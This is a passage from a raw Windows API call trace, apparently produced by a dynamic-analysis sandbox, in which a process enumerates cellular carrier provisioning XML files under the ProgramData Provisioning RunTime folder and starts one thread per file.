Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.072] wcscat (in: _Dest=0x2fe1c50, _Source="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml" [0179.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1c50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0179.072] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="297__C~1.PRO")) returned 1 [0179.072] wcscmp (_String1="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.072] wcscmp (_String1="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.072] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x166) returned 0x2f8f598 [0179.072] wcscpy (in: _Dest=0x2f8f598, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.073] wcscat (in: _Dest=0x2f8f598, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.073] wcscat (in: _Dest=0x2f8f598, _Source="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml" [0179.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0179.073] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="298__C~1.PRO")) returned 1 [0179.073] wcscmp (_String1="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.073] wcscmp (_String1="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.073] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x154) returned 0x2fa0b10 [0179.073] wcscpy (in: _Dest=0x2fa0b10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.073] wcscat (in: _Dest=0x2fa0b10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.073] wcscat (in: _Dest=0x2fa0b10, _Source="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml" [0179.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0179.074] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="299__C~1.PRO")) returned 1 [0179.074] wcscmp (_String1="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0179.074] wcscmp (_String1="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0179.074] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054f80 [0179.074] wcscpy (in: _Dest=0x3054f80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.074] wcscat (in: _Dest=0x3054f80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.074] wcscat (in: _Dest=0x3054f80, _Source="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0179.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0179.075] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901af563, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901af563, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901af563, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x0, dwReserved1=0x0, cFileName="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="29__CO~1.PRO")) returned 1 [0179.075] wcscmp (_String1="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.075] wcscmp (_String1="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.075] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe2c70 [0179.075] wcscpy (in: _Dest=0x2fe2c70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.075] wcscat (in: _Dest=0x2fe2c70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.075] wcscat (in: _Dest=0x2fe2c70, _Source="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml" [0179.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0179.076] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900ca6de, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900ca6de, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900ca6de, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="2__CON~1.PRO")) returned 1 [0179.076] wcscmp (_String1="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.076] wcscmp (_String1="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.076] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f02c10 [0179.076] wcscpy (in: _Dest=0x4f02c10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.076] wcscat (in: _Dest=0x4f02c10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.076] wcscat (in: _Dest=0x4f02c10, _Source="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml" [0179.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0179.077] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="300__C~1.PRO")) returned 1 [0179.077] wcscmp (_String1="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.077] wcscmp (_String1="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.077] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2fe2460 [0179.077] wcscpy (in: _Dest=0x2fe2460, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.077] wcscat (in: _Dest=0x2fe2460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.077] wcscat (in: _Dest=0x2fe2460, _Source="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml" [0179.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0179.077] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b39042, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b39042, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b39042, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="301__C~1.PRO")) returned 1 [0179.077] wcscmp (_String1="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.078] wcscmp (_String1="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.078] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x164) returned 0x2f6d160 [0179.078] wcscpy (in: _Dest=0x2f6d160, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.078] wcscat (in: _Dest=0x2f6d160, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.078] wcscat (in: _Dest=0x2f6d160, _Source="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml" [0179.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0179.078] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b39042, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b39042, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b39042, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", cAlternateFileName="302__C~1.PRO")) returned 1 [0179.277] wcscmp (_String1="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.277] wcscmp (_String1="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.277] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x164) returned 0x2f6ccf8 [0179.277] wcscpy (in: _Dest=0x2f6ccf8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.277] wcscat (in: _Dest=0x2f6ccf8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.277] wcscat (in: _Dest=0x2f6ccf8, _Source="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml" [0179.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ccf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0179.278] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b39042, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b39042, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b39042, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="303__C~1.PRO")) returned 1 [0179.278] wcscmp (_String1="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.278] wcscmp (_String1="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.278] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x154) returned 0x2faa6d0 [0179.278] wcscpy (in: _Dest=0x2faa6d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.278] wcscat (in: _Dest=0x2faa6d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.278] wcscat (in: _Dest=0x2faa6d0, _Source="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml" [0179.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faa6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0179.279] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b39042, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b39042, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b39042, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="304__C~1.PRO")) returned 1 [0179.279] wcscmp (_String1="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0179.279] wcscmp (_String1="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0179.279] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054968 [0179.279] wcscpy (in: _Dest=0x3054968, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.279] wcscat (in: _Dest=0x3054968, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.279] wcscat (in: _Dest=0x3054968, _Source="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0179.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0179.280] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b5f2b1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b5f2b1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b5f2b1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", cAlternateFileName="305__C~1.PRO")) returned 1 [0179.280] wcscmp (_String1="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.280] wcscmp (_String1="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.280] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 